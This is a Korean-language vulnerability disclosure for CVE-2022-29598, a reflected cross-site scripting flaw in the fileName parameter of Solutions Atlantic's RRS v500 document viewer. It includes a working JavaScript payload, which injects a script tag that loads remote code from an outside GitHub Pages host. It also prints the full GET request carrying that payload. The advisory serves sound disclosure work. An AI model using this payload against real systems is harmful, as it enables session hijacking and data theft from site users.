CVE-2022-29598 : RSS v500의 반사형 크로스 사이트 스크립팅 (XSS) 취약점

Mitre URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29598

NIST URL: https://nvd.nist.gov/vuln/detail/CVE-2022-29598

Solutions Atlantic의 RRS v500 애플리케이션은 반사형 크로스 사이트 스크립팅 (XSS) 취약점에 취약합니다. XSS 취약점을 악용하면 공격자가 피해자 사용자로 가장하거나, 민감한 데이터를 노출하거나, 피해자 사용자가 수행할 수 있는 작업을 수행할 수 있습니다.

fileName 매개변수는 사용자 입력을 수락하여 서버 응답에 그대로 반영하는 것으로 확인되었습니다. 반영 전에 일부 특수 문자 인코딩(보다 큼/작음 기호)과 같은 사용자 입력 필터링 및 살균이 수행되었지만, 반영이 JavaScript 컨텍스트 내에서 발생했기 때문에 제한을 우회하여 JavaScript 코드를 서버 응답에 주입할 수 있었습니다.

영향을 받는 URL:

• /RRSWeb/maint/ShowDocument/ShowDocument.aspx

사용된 XSS 페이로드:

• javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';//

개념 증명 (POC):

문서 표시 기능:

영향을 받는 URL:

• /RRSWeb/maint/ShowDocument/ShowDocument.aspx

애플리케이션은 외부 웹사이트에 연결하는 기능을 가지고 있습니다. 외부 사이트 링크를 선택하면 두 개의 매개변수, 즉 리디렉션될 외부 사이트의 URL을 포함하는 fileName과 ExternalLink 값을 갖는 requestType과 함께 /RRSWeb/maint/ShowDocument/ShowDocument.aspx에 요청이 전송됩니다. requestType 매개변수가 기본값으로 설정되어 있는 한, 사용자가 fileName 매개변수에 입력한 모든 내용은 JavaScript 컨텍스트, 특히 window.location.href 내에 반영됩니다. JavaScript 지시문이 포함된 XSS 페이로드를 사용하면 성공적인 반사형 XSS 공격이 발생할 수 있습니다.

XSS 페이로드가 포함된 GET 요청:

GET /RRSWeb/maint/ShowDocument/ShowDocument.aspx?requestType=ExternalLink&fileName=javascript:var%20x=document.createElement("script");x.src="https://thegetch.github.io/x";document.body.appendChild(x)';// HTTP/1.1
Host: <REDACTED>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Referer: http://<REDACTED>/RRSweb/default.aspx
Cookie: ASP.NET_SessionId=<REDACTED>
Upgrade-Insecure-Requests: 1
Content-Length: 0

서버 응답:

브라우저에서 렌더링됨:

발견

2022년 4월

• Eric Getchell - TheGetch